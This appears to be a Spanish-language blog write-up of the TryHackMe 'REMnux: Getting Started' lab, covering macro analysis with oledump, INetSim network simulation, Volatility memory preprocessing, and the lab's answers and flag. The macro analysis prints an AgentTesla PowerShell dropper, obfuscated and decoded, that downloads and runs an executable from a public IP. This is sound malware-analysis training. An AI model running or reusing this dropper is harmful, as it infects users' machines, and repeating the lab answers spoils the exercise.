Saltar al contenido
Portada » Blog – Laprovittera Carlos » TryHackMe – REMnux: Getting Started

TryHackMe – REMnux: Getting Started

Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe – REMnux: Getting Started

Introducción

Analizar software potencialmente malicioso puede ser abrumador, especialmente cuando forma parte de un incidente de seguridad en curso. Este análisis supone una gran presión para el analista. En la mayoría de los casos, los resultados deben ser lo más precisos posible, y los analistas utilizan diferentes herramientas, equipos y entornos para lograrlo. En esta sala, utilizaremos la máquina virtual REMnux .

La máquina virtual REMnux es una distribución especializada de Linux . Ya incluye herramientas como Volatility, YARA, Wireshark, oledump e INetSim. Además, proporciona un entorno de pruebas para analizar software potencialmente malicioso sin poner en riesgo el sistema principal. Es su laboratorio listo para usar sin las complicaciones de las instalaciones manuales.

Análisis de archivos

En esta tarea, realizaremos oledump.pyun análisis estático de un documento de Excel potencialmente malicioso. 

Oledump.pyEs una herramienta de Python que analiza archivos OLE2 , comúnmente llamados Almacenamiento Estructurado o Formato Binario de Archivo Compuesto.  OLE significa Vinculación e Incrustación de Objetos, una tecnología propia de Microsoft.  Los archivos OLE2 se utilizan habitualmente para almacenar múltiples tipos de datos, como documentos, hojas de cálculo y presentaciones, en un solo archivo. Esta herramienta es útil para extraer y examinar el contenido de archivos OLE2, lo que la convierte en un recurso valioso para el análisis forense y la detección de malware.

¡Empecemos!

Usando la máquina virtual asociada a la tarea 2 (la máquina virtual REMnux ) , navegue al  /home/ubuntu/Desktop/tasks/agenttesla/directorio. Nuestro archivo de destino se llama agenttesla.xlsm. Ejecute el comando oledump.py agenttesla.xlsm. Vea la terminal a continuación.

ubuntu@MACHINE_IP:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm -s 4

Los resultados anteriores están en formato hexadecimal. Puede que haya algunas palabras familiares para un experto. Sin embargo, esto sigue siendo un reto para nosotros, ¿no crees? Así que hagámoslo más legible y fácil de entender.

Ejecutaremos un parámetro adicional –vbadecompressal comando anterior. Al usar este parámetro, oledump descomprimirá automáticamente cualquier macro VBA comprimida que encuentre a un formato más legible, lo que facilita el análisis de su contenido.

Terminal

ubuntu@MACHINE_IP:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm -s 4 –vbadecompress

Esto es mucho mejor ¿no?

 Ahora bien, no necesitamos leer el script completo, sino familiarizarnos con algunos caracteres y comandos. Nos interesa el valor de Sqtnew , ya que, al revisar el script, contiene una IP pública, un PDF y un archivo .exe. Quizás queramos analizar esto más a fondo.

Terminal

Sqtnew = «^p*o^*w*e*r*s^^*h*e*l^*l* *^-*W*i*n*^d*o*w^*S*t*y*^l*e* *h*i*^d*d*^e*n^* *-*e*x*^e*c*u*t*^i*o*n*pol^icy* *b*yp^^ass*;* $TempFile* *=* *[*I*O*.*P*a*t*h*]*::GetTem*pFile*Name() | Ren^ame-It^em -NewName { $_ -replace ‘tmp$’, ‘exe’ }  Pass*Thru; In^vo*ke-We^bRe*quest -U^ri «»http://193.203.203.67/rt/Doc-3737122pdf.exe«» -Out*File $TempFile; St*art-Proce*ss $TempFile;»
Sqtnew = Replace(Sqtnew, «*», «»)
Sqtnew = Replace(Sqtnew, «^», «»)

Copiaremos el primer valor de Sqtnew y lo pegaremos en el área de entrada de CyberChef . Puede abrir una copia local de CyberChef dentro de la máquina virtual REMnux o acceder a la versión en línea a través de este enlace . Use la opción que mejor le funcione. Le recomendamos consultar nuestra sección sobre CyberChef para familiarizarse con la herramienta.

A continuación, seleccione la operación Buscar/Reemplazar dos veces . Al revisar el script, el segundo y tercer valor de Sqtnew  tienen un comando para reemplazar * por «» y ^ por «» . Suponemos que «»  significa que no hay ningún valor. Por lo tanto, con nuestra primera operación seleccionada, asignamos el valor *  y seleccionamos CADENA SIMPLE como parámetros adicionales. En cambio, no asignamos ningún valor al cuadro Reemplazar. Lo mismo ocurre con nuestra segunda operación: asignamos el valor ^  y seleccionamos CADENA SIMPLE, y el cuadro Reemplazar no tiene ningún valor. Vea la imagen a continuación.

¡Ahora es más legible! Sin embargo, para quienes empiezan, puede ser un reto. Por eso, abordaremos los comandos más básicos.

Terminal

«powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace ‘tmp$’, ‘exe’ }  PassThru; Invoke-WebRequest -Uri «»http://193.203.203.67/rt/Doc-3737122pdf.exe«» -OutFile $TempFile; Start-Process $TempFile;»

¡Vamos a desglosarlo!

  • En PowerShell , ejecutar el -WindowStyleparámetro permite controlar cómo se muestra la ventana de PowerShell al ejecutar un script o comando. En este caso, hiddensignifica que la ventana de PowerShell no será visible para el usuario .
  • De forma predeterminada, PowerShell restringe la ejecución de scripts por motivos de seguridad. El -executionpolicyparámetro permite anular esta política. Esto  bypasssignifica que la política de ejecución se ignora temporalmente , lo que permite que cualquier script se ejecute sin restricciones.
  • Se Invoke-WebRequestutiliza comúnmente para descargar archivos de Internet.
    • Especifica -Urila URL del recurso web que desea recuperar. En nuestro caso, el script descarga el recurso Doc-3737122pdf.exe desde  http://193.203.203.67/rt/.
    • Especifica -OutFile el archivo local donde se guardará el contenido descargado. En este caso, Doc-3737122pdf.exe se guardará en $TempFile.
  • Se Start-Processutiliza para ejecutar el archivo descargado que se almacena $TempFiledespués de la solicitud web.

En resumen, al agenttesla.xlsmabrir el documento, se ejecutará una macro. Esta macro contiene un script de VBA. El script se ejecutará y ejecutará un PowerShell para descargar un archivo llamado Doc-3737122pdf.exe de http://193.203.203.67/rt/, guárdelo en una variable $TempFile, luego ejecute o comience a ejecutar el archivo dentro de esta variable, que es un archivo binario o .exe (Doc-3737122pdf.exe. Esta es una técnica habitual que utilizan los actores de amenazas para evitar la detección temprana. ¡Qué desagradable, ¿verdad?!

¡Te felicito por descubrirlo!

Responda las siguientes preguntas

¿Qué herramienta de Python  analiza los archivos OLE2, comúnmente llamados Almacenamiento Estructurado o Formato Binario de Archivo Compuesto?

oledump.py

¿Qué parámetro de la herramienta que utilizamos en esta tarea le permite seleccionar un flujo de datos específico del archivo con el que la estamos utilizando?

-s

Durante nuestro análisis, pudimos descifrar un script de PowerShell. ¿Qué comando se usa comúnmente para descargar archivos de internet?

Invoke-WebRequest

¿Qué archivo se estaba descargando mediante el script de PowerShell?

Doc-3737122pdf.exe

Durante nuestro análisis del script de PowerShell, observamos que se descargaría un archivo. ¿Dónde se almacenará el archivo descargado?

$TempFile

Utilizando la herramienta, analice otro archivo llamado possible_malicious.docx ubicado en el /home/ubuntu/Desktop/tasks/agenttesla/directorio. ¿Cuántos flujos de datos se presentaron para este archivo?

16

Utilizando la herramienta, analice otro archivo llamado possible_malicious.docx ubicado en el /home/ubuntu/Desktop/tasks/agenttesla/directorio. ¿En qué número de flujo de datos indica la herramienta la presencia de una macro?

8

Red falsa para facilitar el análisis

Durante el análisis dinámico , es fundamental observar el comportamiento del software potencialmente malicioso, especialmente sus actividades de red. Existen diversos enfoques para ello. Podemos crear una infraestructura completa, un entorno virtual con diferentes máquinas centrales y más. Como alternativa, existe una herramienta dentro de nuestra máquina virtual REMnux llamada INetSim: Internet Services Simulation Suite .

Utilizaremos las características de INetSim para simular una red real en esta tarea.

Máquinas virtuales

Para esta tarea, usaremos dos (2) máquinas. La primera es nuestra máquina REMnux, vinculada a la tarea de acceso a la máquina. La segunda máquina virtual es AttackBox. Para iniciar AttackBox, haga clic en el botón azul » Iniciar AttackBox» en la parte superior de la página. Tenga en cuenta que puede cambiar fácilmente entre las casillas haciendo clic en ellas. Vea la casilla resaltada en la imagen a continuación.

INetSim

Antes de empezar, debemos configurar la herramienta INetSim en nuestra máquina virtual REMnux . No se preocupe; es un cambio de configuración sencillo. Primero, verifique la dirección IP asignada a su máquina. Puede verla usando el comando ifconfig o simplemente verificando la dirección IP después de ubuntu@ desde la terminal.  Las direcciones IP pueden variar.

Terminal

ubuntu@10.10.58.110:~$

Aquí, la IP de la máquina es 10.10.58.110. Anótela, ya que la necesitaremos.

A continuación, debemos cambiar la configuración de INetSim ejecutando este comando sudo nano /etc/inetsim/inetsim.confy buscar el valor #dns_default_ip 0.0.0.0.

Elimine el comentario o # y cambie el valor de dns_default_ip de 0.0.0.0a la dirección IP de la máquina que identificó anteriormente. En nuestro caso, es 10.10.58.110. Guarde el archivo con CRTL + Oel comando, presione Enter y salga con CTRL + X.

Confirme que los cambios se hayan realizado correctamente comprobando el valor de dns_default_ipeste comando cat /etc/inetsim/inetsim.conf | grep dns_default_ip. Vea a continuación.

Por último, ejecute el comando sudo inetsimpara iniciar la herramienta.

Después de ejecutar el comando, asegúrese de ver la frase » Simulación en ejecución » al final del resultado e ignore el error http_80_tcp: ¡falló! ¡  Nuestra red falsa ya está funcionando!

¡Pasemos a nuestra AttackBox!

Caja de ataque

Desde esta máquina virtual , abra un navegador y acceda a la dirección IP de nuestro REMnux con el comando https://10.10.58.110. Esto mostrará un riesgo de seguridad; ignórelo, haga clic en «Avanzar» , luego en «Aceptar el riesgo» y «Continuar».

¡Una vez hecho esto, deberías ser redirigido a la página de inicio de INetSim!

Un comportamiento habitual del malware es descargar otro binario o script. Intentaremos imitar este comportamiento obteniendo otro archivo de INetsim. Podemos hacerlo mediante la CLI o el navegador, pero usaremos la CLI para que sea más realista. Use este comando: sudo wget https://10.10.58.110/second_payload.zip –no-check-certificate.

También puedes intentar descargar otro archivo. Por ejemplo, prueba a descargar second_payload.ps1  con el comando: sudo wget https://10.10.58.110/second_payload.ps1 –no-check-certificate.

Para verificar que se descargaron los archivos, revise la carpeta raíz. Vea el ejemplo a continuación.

¡Todos estos archivos son falsos! Intenta abrir second_payload.ps1. Al ejecutarlo, te redirigirá a la página principal de INetSim.

Lo que hicimos aquí es  imitar el comportamiento de un malware , que intentará acceder a un servidor o URL y luego  descargará un archivo secundario que puede contener otro malware .

Informe de conexión

Por último, regresa a tu máquina virtual REMnux y detén INetSim. Por defecto, creará un informe sobre las conexiones capturadas. Este suele guardarse en el directorio /var/log/inetsim/report/ . Deberías ver algo similar a esto.

Lea el archivo con este comando sudo cat /var/log/inetsim/report/report.2594.txt. Puede variar según su equipo.

ubuntu@10.10.58.110:~$ sudo cat /var/log/inetsim/report/report.2594.txt

=== Report for session ‘2594’ === 

Real start date : 2024-09-22 21:04:42

Simulated start date : 2024-09-22 21:04:42

Time difference on startup : none 

2024-09-22 21:04:53 First simulated date in log file

2024-09-22 21:04:53 HTTPS connection, method: GET, URL: https://10.10.58.110/, file name: /var/lib/inetsim/http/fakefiles/sample.html

2024-09-22 21:16:07 HTTPS connection, method: GET, URL: https://10.10.58.110/test.exe, file name: /var/lib/inetsim/http/fakefiles/sample_gui.exe

2024-09-22 21:18:37 HTTPS connection, method: GET, URL: https://10.10.58.110/second_payload.ps1, file name: /var/lib/inetsim/http/fakefiles/sample.html

2024-09-22 21:18:49 HTTPS connection, method: GET, URL: https://10.10.58.110/second_payload.zip, file name: /var/lib/inetsim/http/fakefiles/sample.html

2024-09-22 21:18:49 Last simulated date in log file ===

Estos son los registros de la ejecución de la herramienta. Podemos ver las conexiones realizadas a la URL, el protocolo y el método que utiliza. También podemos ver el archivo falso descargado.

Responda las siguientes preguntas

Descarga y escanea el archivo llamado flag.txt desde la terminal usando el comando  sudo wget https://MACHINE_IP/flag.txt –no-check-certificate . ¿Cuál es la bandera?

Tryhackme{remnux_edition}

Tras detener inetsim, lea el informe generado. Según el informe, ¿qué método de URL se utilizó para obtener el archivo flag.txt?

GET

Investigación de la memoria: preprocesamiento de evidencia

Una de las prácticas de investigación más comunes en la ciencia forense digital es el preprocesamiento de evidencias. Esto implica ejecutar herramientas y guardar los resultados en formato de texto o JSON . El analista suele recurrir a herramientas como Volatility al trabajar con imágenes de memoria como evidencia. Esta herramienta ya está incluida en la máquina virtual REMnux . Los comandos de Volatility se ejecutan para identificar y extraer artefactos específicos de las imágenes de memoria, y el resultado puede guardarse en archivos de texto para su posterior análisis. De igual forma, podemos ejecutar un script que involucre los diferentes parámetros de la herramienta para preprocesar la evidencia adquirida con mayor rapidez.

Preprocesamiento con volatilidad

En esta tarea, usaremos la herramienta Volatility 3. Sin embargo, no profundizaremos en la investigación y el análisis de los resultados; ¡podríamos escribir un libro entero sobre ello! En cambio, queremos que se familiarice con la herramienta y se familiarice con su funcionamiento. Ejecute el comando según las instrucciones y espere a que se muestre el resultado. Cada complemento tarda de 2 a 3 minutos en mostrar el resultado.

Estos son algunos de los parámetros o complementos que usaremos. Nos centraremos en los complementos de Windows.

  • windows.pstree.PsTree
  • windows.pslist.PsList
  • windows.cmdline.CmdLine
  • windows.filescan.FileScan
  • windows.dlllist.ListaDll
  • ventanas.malfind.Malfind
  • windows.psscan.PsScan

¡Comencemos entonces!

En tu RemnuxVM, ejecuta sudo su, luego navega al directorio /home/ubuntu/Desktop/tasks/Wcry_memory_image/ ; nuestro archivo sería wcry.mem . Ejecutaremos cada complemento después del comando  vol3 -f wcry.mem.

PSTree

Este complemento enumera los procesos en un árbol según el ID del proceso principal.

Lista de Ps

Este complemento se utiliza para enumerar todos los procesos actualmente activos en la máquina.

Línea de comandos

Este complemento se utiliza para enumerar los argumentos de la línea de comandos del proceso.

Escaneo de archivos

Este complemento busca objetos de archivo en una imagen de memoria de Windows específica. Los resultados contienen más de 1400 líneas.

Lista de Dll

Este complemento enumera los módulos cargados en una imagen de memoria de Windows específica. Debido a una limitación de texto, no tendrá un icono para ver resultados.

Terminal

root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.dlllist.DllList
Volatility 3 Framework 2.0.0
Progress:  100.00                PDB scanning finished

PsScan

Este complemento se utiliza para buscar procesos presentes en una imagen de memoria de Windows particular.

Malhallad

Este complemento se utiliza para listar rangos de memoria de procesos que podrían contener código inyectado. No habrá un icono de «Ver resultados» para este complemento debido a la limitación de texto.

Terminal

root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.malfind.Malfind
Volatility 3 Framework 2.0.0
Progress:  100.00                PDB scanning finished

Para obtener más información sobre otros complementos, puede consultar este enlace .

Ahora, los complementos se ejecutan individualmente y se visualiza el resultado. Lo que haremos ahora es procesar esto en bloque. Recuerda que una de las prácticas de investigación implica preprocesar la evidencia y guardar los resultados en archivos de texto, ¿verdad? La pregunta es ¿cómo?

¿La respuesta? ¡Ejecuta una instrucción de bucle! Consulta el comando a continuación.

Terminal

root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ forplugin in windows.malfind.Malfind windows.psscan.PsScan windows.pstree.PsTree windows.pslist.PsList windows.cmdline.CmdLine windows.filescan.FileScan windows.dlllist.DllList;dovol3 -q -f wcry.mem $plugin> wcry.$plugin.txt;done

Vamos a desglosar este comando, ¿de acuerdo?

  • Creamos una variable nombrada $plugincon los valores de cada complemento de volatilidad
  • Luego ejecutó los parámetros vol3 -q, lo que significa modo silencioso o no muestra el progreso en la terminal.
  • Y -f,eso significa leer desde la captura de memoria.
  • El plugin>wcry.plugin.done;método ejecuta volatilidad con los complementos y la genera en un archivo con «wcry» al principio del texto, seguido del nombre de los complementos y con la extensión » .txt.». Repita este proceso hasta que se use el valor de la variable $plugin.

Después de ejecutar el comando, no verá ninguna salida desde la terminal; verá archivos dentro del mismo directorio donde ejecutó el comando.

Preprocesamiento con cadenas

A continuación, preprocesaremos la imagen de memoria con la utilidad de cadenas de Linux . Extraeremos las cadenas ASCII , little-endian de 16 bits y big-endian de 16 bits . Vea el comando a continuación.

Terminal

root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings wcry.mem > wcry.strings.ascii.txt
root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e l  wcry.mem > wcry.strings.unicode_little_endian.txt
root@10.10.58.110:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e b  wcry.mem > wcry.strings.unicode_big_endian.txt

El comando strings extrae texto ASCII imprimible. La -e lopción indica a strings que extraiga cadenas little endian de 16 bits. La -e bopción indica a strings que extraiga cadenas big endian de 16 bits. Los tres formatos de cadena pueden proporcionar información útil sobre el sistema investigado.

Deberías tener el mismo resultado a continuación.

Ahora, esto está listo para el análisis, pero recuerde, nuestro objetivo aquí en esta tarea es preprocesar la evidencia para que cualquier analista que investigue esto pueda agilizar las búsquedas y el análisis.

Responda las siguientes preguntas

¿Qué plugin lista los procesos en un árbol basándose en el ID de su proceso padre?

PsTree

¿Qué plugin se utiliza para listar todos los procesos activos en la máquina?

PsList

¿Qué herramienta de utilidad de Linux puede extraer cadenas ASCII, little-endian de 16 bits y big-endian de 16 bits?

strings

Al ejecutar vol3 con el parámetro Malfind, ¿cuál es el primer (1er) proceso identificado que se sospecha que tiene un código inyectado?

csrss.exe

Continuando con la pregunta anterior (Pregunta 4), ¿cuál es el segundo (2º) proceso identificado que se sospecha que tiene un código inyectado?

winlogon.exe

Al ejecutar vol3 con el  parámetro DllList  , ¿cuál es la ruta de archivo o directorio del binario @WanaDecryptor@.exe?

C:\Intel\ivecuqmanpnirkt615

Conclusión

En esta sala, tuvimos una introducción práctica a REMnux.VMdonde pudimos usar herramientas como oledump.py para el análisis de archivos. También creamos una red simulada usando INetSim y preprocesamos una captura de memoria usando volatility y strings Todas estas herramientas están incluidas en REMNux.VM¡ Aun así, todavía no hemos utilizado muchas de sus herramientas, ya que podríamos crear diferentes salas para que cada uno aprenda y se familiarice con ellas!

Cabe mencionar que la distribución REMnux se centra principalmente en el análisis de programas, documentos o archivos potencialmente maliciosos, memoria y objetos similares. 

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *